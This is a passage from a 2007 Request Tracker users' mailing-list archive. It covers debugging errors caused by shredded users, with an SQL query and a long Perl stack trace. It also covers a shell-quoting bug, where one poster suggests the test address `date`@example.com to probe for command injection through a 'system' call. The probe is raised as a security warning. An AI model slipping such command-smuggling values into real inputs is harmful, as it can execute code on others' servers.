From theillien at yahoo.com  Thu Feb  8 23:07:26 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 23:07:26 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702082002o43dc1413vee74d229c62112d8@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>	
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>	
	<45CBE39D.2090101@yahoo.com>	
	<589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>	
	<45CBEDFD.5040308@yahoo.com>
	<589c94400702082002o43dc1413vee74d229c62112d8@mail.gmail.com>
Message-ID: <45CBF37E.3010704@yahoo.com>

There's no need for hostilities.

Mathew

Ruslan Zakirov wrote:
> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I know.  I just didn't understand the SQL syntax.
> And? Should I describe it? I don't think so. Google for 'Learning SQL'.
> 
>>
>> Mathew
>>
>> Ruslan Zakirov wrote:
>> > I'm just trying to help you figure out what had happened with your
>> > tickets and as well gather debug info to  fix shredder.
>> >
>> > To get debug infon you have to run the following query from mysql or
>> > Pg shell, but first of all you should find a ticket that generate that
>> > error you posted and replace XXXXX with the ticket's ID.
>> >
>> > SELECT u.Name, txn.Field, txn.NewValue, txn.ReferenceType,
>> > txn.NewReference, t.id
>> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> >
>> > This query selects all AddWatcher transactions from the ticket and
>> > shows if user that's been added as watcher still exist in the DB.
>> >
>> >
>> > On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> This query has me confused.  There are lowercase letters placed by
>> >> themselves in
>> >> locations I'm not used to seeing criteria placed.  Can someone please
>> >> clarify
>> >> what I'm supposed to enter?
>> >>
>> >> Mathew
>> >>
>> >>
>> >> Ruslan Zakirov wrote:
>> >> > Please, run the following SQL query:
>> >> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
>> >> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>> >> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>> >> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> >> >
>> >> > Where XXXX id of the ticket. Then send me results.
>> >> >
>> >> >
>> >> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> >> I'd like to add to this.  I've looked at the database and found
>> that
>> >> >> there are
>> >> >> 63 transactions attached to this ticket.  There are also no
>> >> >> transactions for
>> >> >> which there isn't a user.  I've looked up the names on each user
>> id in
>> >> >> the
>> >> >> transactions table and found that they correspond to someone that
>> >> >> would likely
>> >> >> have had a part in the ticket.
>> >> >>
>> >> >> There are as many user id entries as there are transactions. 
>> What I
>> >> >> mean is,
>> >> >> there are multiple entries for some ids but all transactions have a
>> >> >> user id
>> >> >> attached to it.  This tells me that the transactions aren't
>> corrupted
>> >> >> by a
>> >> >> missing user that possibly got Shredded out of the database.
>> >> >>
>> >> >> As I've said before, this isn't the first time we've seen this
>> so I'm
>> >> >> beginning
>> >> >> to think this is a bug of some sort.
>> >> >>
>> >> >> The full error follows.
>> >> >>
>> >> >> error:          Can't call method "Name" on an undefined value at
>> >> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> >> context:
>> >> >> ...
>> >> >> 686:    AddWatcher => sub {
>> >> >> 687:    my $self = shift;
>> >> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> >> 689:    $principal->Load($self->NewValue);
>> >> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> >> >> $principal->Object->Name);
>> >> >> 691:    },
>> >> >> 692:    DelWatcher => sub {
>> >> >> 693:    my $self = shift;
>> >> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> >> ...
>> >> >> code stack:    
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> >> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> >> >> /usr/local/rt-3.6.1/share/html/autohandler:279
>> >> >>
>> >> >>
>> >> >>
>> >> >> raw error
>> >> >> Can't call method "Name" on an undefined value at
>> >> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> >>
>> >> >>
>> >> >> Trace begun at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> >> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method
>> "Name"
>> >> >> on an
>> >> >> undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> >> >> line
>> >> >> 690.^J') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> >> >> line 690
>> >> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)')
>> called at
>> >> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> >> >>
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> >> >> called at
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction
>> line 54
>> >> >> HTML::Mason::Commands::__ANON__('Attachments',
>> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> 'ShowHeaders',
>> >> >> undef,
>> >> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> >> '/Ticket/Attachment',
>> >> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> >> undef,
>> >> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> >> 'Attachments',
>> >> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> >> 'LastTransaction',
>> >> >> 0) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> >> >> line 135
>> >> >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> >>
>> >> >>
>> >> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> >> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
>> 'Collapsed',
>> >> >> undef,
>> >> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> >> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'Transaction',
>> >> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed',
>> >> >> undef,
>> >> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> >> >> 'ARRAY(0xc59f11c)',
>> >> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
>> >> called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 1245
>> >> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> 'ShowHeaders',
>> >> >> undef,
>> >> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> >> '/Ticket/Attachment',
>> >> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> >> undef,
>> >> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> >> 'Attachments',
>> >> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> >> 'LastTransaction',
>> >> >> 0) called at
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> >> >> HTML::Mason::Commands::__ANON__('Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> >> 'Attachments',
>> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> >>
>> >> >>
>> >> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef,
>> 'Collapsed',
>> >> >> undef,
>> >> >> 'ShowHeaders', undef, 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)',
>> >> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 1245
>> >> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> >> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> >> 'Attachments',
>> >> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> >> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> >>
>> >> >>
>> >> >> 'id', 55767, 'id', 55767) called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 1245
>> >> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> >> >> called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> >> >>
>> >>
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> >>
>> >> >>
>> >> >> 'id', 55767) called at
>> /usr/local/rt-3.6.1/share/html/autohandler line
>> >> >> 279
>> >> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> >>
>> >> >>
>> >> >> 'id', 55767) called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 1246
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 1245
>> >> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767)
>> called at
>> >> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 459
>> >> >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> >> line 411
>> >> >>
>> >>
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> >>
>> >> >> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> >> line 168
>> >> >>
>> >>
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> >>
>> >> >> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> >> line 826
>> >> >>
>> >>
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> >>
>> >> >>
>> >> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)')
>> called at
>> >> >> -e line 0
>> >> >> eval {...} at -e line 0
>> >> >>
>> >> >> If we don't protect the freedom of speech, how will we know who the
>> >> >> assholes are?
>> >> >> http://theillien.blogspot.com
>> >> >>
>> >> >>
>> >> >> Mathew Snyder wrote:
>> >> >> > I think I've asked about this before and I'm fairly certain I
>> >> >> already know the
>> >> >> > answer.  However, I'm not certain it should be happening.
>> >> >> >
>> >> >> > We keep getting the error "Can't call method "Name" on an
>> undefined
>> >> >> value..."
>> >> >> > If I recall correctly this is a result of eliminating via
>> Shredder a
>> >> >> user which
>> >> >> > was at one point attatched to a ticket.  The only problem with
>> this
>> >> >> is that the
>> >> >> > only users I remove are those that are created when we receive
>> spam.
>> >> >> >
>> >> >> > So is this the only explanation?  More and more of these tickets
>> >> >> keep appearing
>> >> >> > but I can't figure out how all of these users are disappearing.
>> >> >> >
>> >> >> > Thanks
>> >> >> > Mathew
>> >> >> > _______________________________________________
>> >> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> >> >
>> >> >> > Community help: http://wiki.bestpractical.com
>> >> >> > Commercial support: sales at bestpractical.com
>> >> >> >
>> >> >> >
>> >> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly
>> Media.
>> >> >> > Buy a copy at http://rtbook.bestpractical.com
>> >> >> >
>> >> >> _______________________________________________
>> >> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> >>
>> >> >> Community help: http://wiki.bestpractical.com
>> >> >> Commercial support: sales at bestpractical.com
>> >> >>
>> >> >>
>> >> >> Discover RT's hidden secrets with RT Essentials from O'Reilly
>> Media.
>> >> >> Buy a copy at http://rtbook.bestpractical.com
>> >> >>
>> >> >
>> >> >
>> >>
>> >
>> >
>>
> 
> 


From theillien at yahoo.com  Thu Feb  8 23:19:19 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 23:19:19 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
Message-ID: <45CBF647.1040206@yahoo.com>

It would appear I removed someone that was added as a CC:

+--------+-----------+---------------+--------------+-------+
| Name   | Field     | ReferenceType | NewReference | tid   |
+--------+-----------+---------------+--------------+-------+
| NULL   | Cc        | NULL          |         NULL | 55767 |
| rbates | Requestor | NULL          |         NULL | 55767 |
+--------+-----------+---------------+--------------+-------+

Is it possible to correct this?

Ruslan Zakirov wrote:
> Please, run the following SQL query:
> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> 
> Where XXXX id of the ticket. Then send me results.
> 
> 
> On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I'd like to add to this.  I've looked at the database and found that
>> there are
>> 63 transactions attached to this ticket.  There are also no
>> transactions for
>> which there isn't a user.  I've looked up the names on each user id in
>> the
>> transactions table and found that they correspond to someone that
>> would likely
>> have had a part in the ticket.
>>
>> There are as many user id entries as there are transactions.  What I
>> mean is,
>> there are multiple entries for some ids but all transactions have a
>> user id
>> attached to it.  This tells me that the transactions aren't corrupted
>> by a
>> missing user that possibly got Shredded out of the database.
>>
>> As I've said before, this isn't the first time we've seen this so I'm
>> beginning
>> to think this is a bug of some sort.
>>
>> The full error follows.
>>
>> error:          Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> context:
>> ...
>> 686:    AddWatcher => sub {
>> 687:    my $self = shift;
>> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> 689:    $principal->Load($self->NewValue);
>> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> $principal->Object->Name);
>> 691:    },
>> 692:    DelWatcher => sub {
>> 693:    my $self = shift;
>> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> ...
>> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> /usr/local/rt-3.6.1/share/html/autohandler:279
>>
>>
>>
>> raw error
>> Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>>
>>
>> Trace begun at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> on an
>> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> line
>> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> line 690
>> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> HTML::Mason::Commands::__ANON__('Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction',
>> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> 'ARRAY(0xc59f11c)',
>> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> undef,
>> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> 'id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> 279
>> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1246
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 411
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 168
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 826
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> -e line 0
>> eval {...} at -e line 0
>>
>> If we don't protect the freedom of speech, how will we know who the
>> assholes are?
>> http://theillien.blogspot.com
>>
>>
>> Mathew Snyder wrote:
>> > I think I've asked about this before and I'm fairly certain I
>> already know the
>> > answer.  However, I'm not certain it should be happening.
>> >
>> > We keep getting the error "Can't call method "Name" on an undefined
>> value..."
>> > If I recall correctly this is a result of eliminating via Shredder a
>> user which
>> > was at one point attatched to a ticket.  The only problem with this
>> is that the
>> > only users I remove are those that are created when we receive spam.
>> >
>> > So is this the only explanation?  More and more of these tickets
>> keep appearing
>> > but I can't figure out how all of these users are disappearing.
>> >
>> > Thanks
>> > Mathew
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>> >
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 


From mouse at Rodents.Montreal.QC.CA  Thu Feb  8 23:23:33 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 8 Feb 2007 23:23:33 -0500 (EST)
Subject: [rt-users] Spam email question
In-Reply-To: <45CBE1FB.3030906@yahoo.com>
References: <45CABCDD.5090906@yahoo.com>
	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
	<45CBE1FB.3030906@yahoo.com>
Message-ID: <200702090426.XAA10548@Sparkle.Rodents.Montreal.QC.CA>

> I created a user called, for no reason in particular,
> splat's at thisplace.com.  The error received is:

> sh: -c: line 0: unexpected EOF while looking for matching `''

Eek!  It's a *shell* reading that?

Perhaps try for `date`@example.com and see what happens!  This could
have pretty hair-raising security implications....

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B


From theillien at yahoo.com  Thu Feb  8 23:30:24 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 23:30:24 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <200702090426.XAA10548@Sparkle.Rodents.Montreal.QC.CA>
References: <45CABCDD.5090906@yahoo.com>	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>	<45CBE1FB.3030906@yahoo.com>
	<200702090426.XAA10548@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <45CBF8E0.6040408@yahoo.com>

That might be what the problem is actually.  I still haven't figured out how to
use the methods of Shredder in order to run it entirely within the script so
right now Shredder runs as a 'system' call.

Mathew

der Mouse wrote:
>> I created a user called, for no reason in particular,
>> splat's at thisplace.com.  The error received is:
> 
>> sh: -c: line 0: unexpected EOF while looking for matching `''
> 
> Eek!  It's a *shell* reading that?
> 
> Perhaps try for `date`@example.com and see what happens!  This could
> have pretty hair-raising security implications....
> 
> /~\ The ASCII				der Mouse
> \ / Ribbon Campaign
>  X  Against HTML	       mouse at rodents.montreal.qc.ca
> / \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From mouse at Rodents.Montreal.QC.CA  Thu Feb  8 23:30:29 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 8 Feb 2007 23:30:29 -0500 (EST)
Subject: [rt-users] Ticket Errors
